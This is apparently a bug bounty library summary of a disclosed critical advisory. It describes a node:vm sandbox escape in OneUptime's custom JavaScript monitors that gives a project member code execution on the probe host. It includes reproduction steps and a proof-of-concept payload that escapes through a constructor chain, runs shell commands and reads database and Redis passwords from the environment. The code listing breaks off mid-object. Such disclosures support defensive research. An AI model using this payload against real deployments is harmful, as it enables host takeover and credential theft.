# OneUptime:: node:vm sandbox escape in probe allows any project member to achieve RCE

OneUptime ran project-member custom monitor JS in node:vm, letting any registered user escape to RCE on the host-networked probe and steal cluster credentials.

- Payout: Research
- Severity: critical
- Program: OneUptime
- Found by: ByamB4
- Disclosed: 2026-02-24
- CVE: CVE-2026-27574
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-v264-xqh4-9xmm
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-v264-xqh4-9xmm
- Tags: area:cloud domain:infra domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:docker tech:nodejs technique:source-review vuln:command-injection vuln:rce vuln:sandbox-escape vuln:secrets-leak

**Target:** Node.js probe process executing custom monitor JavaScript via node:vm
**Root cause:** Monitor customCode (validated only as an optional string) is passed directly to vm.runInContext() in VMRunner.ts, and node:vm is not a security boundary, so the sandbox can be escaped via constructor chains.
**Steps:**
1. Register at `/accounts/register` (open signup default) and create a project to get ProjectMember
2. Add a Monitor of type Custom JavaScript Code
3. Paste payload: `const proc = this.constructor.constructor('return process')(); const run = proc.mainModule.require('child_process').execSync;` then return `proc.env.ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, `REDIS_PASSWORD`, and `run('id')`
4. Save and wait ~60s for the probe to poll and execute
5. Read Monitor Logs to retrieve secrets and command output
**How found:** Code review of VMRunner.ts noting vm.runInContext on user-controlled customCode with no AST/keyword filtering, then checking probe deployment (network_mode: host, secrets in env) and the permission model (ProjectMember can create monitors, open signup) to establish reachability and impact.
**Exploitation:** Any ProjectMember creates a Custom JavaScript Code monitor; the probe process executes it in-process via vm.runInContext, the constructor-chain escape reaches process.mainModule.require('child_process'), and execSync runs commands on the host-networked probe. Returned env vars (ONEUPTIME_SECRET, DATABASE_PASSWORD, REDIS_PASSWORD, CLICKHOUSE_PASSWORD) plus host networking allow direct connection to PostgreSQL, Redis and ClickHouse for full cluster compromise.
**Escalation:** Sandbox escape chained to credential theft from probe environment and host-network access to backend datastores, turning lowest-privilege monitor creation into full cluster takeover; IsolatedVM microservice, workflow components and monitor criteria expressions share the same vulnerable runner.
**Insight:** When a product offers 'custom code' monitors or scripting, grep for node:vm/runInContext/runInNewContext and trace whether the runner executes in the same process as a privileged worker; then check that worker's docker-compose for host networking and env-injected secrets to size the blast radius.

## Proof of concept (copied exactly from the original report)

**Sandbox escape payload reading env and running commands**

```
const proc = this.constructor.constructor('return process')();
const run = proc.mainModule.require('child_process').execSync;
return {
  data: {
    secret:     proc.env.ONEUPTIME_SECRET,
    db_pass:    proc.env.DATABASE_PASSWORD,
    redis_pass: proc.env.REDIS_PASSWORD,
    id:         run('id').toString().trim(),
    hostname:   run('hostname').toString().trim()
```

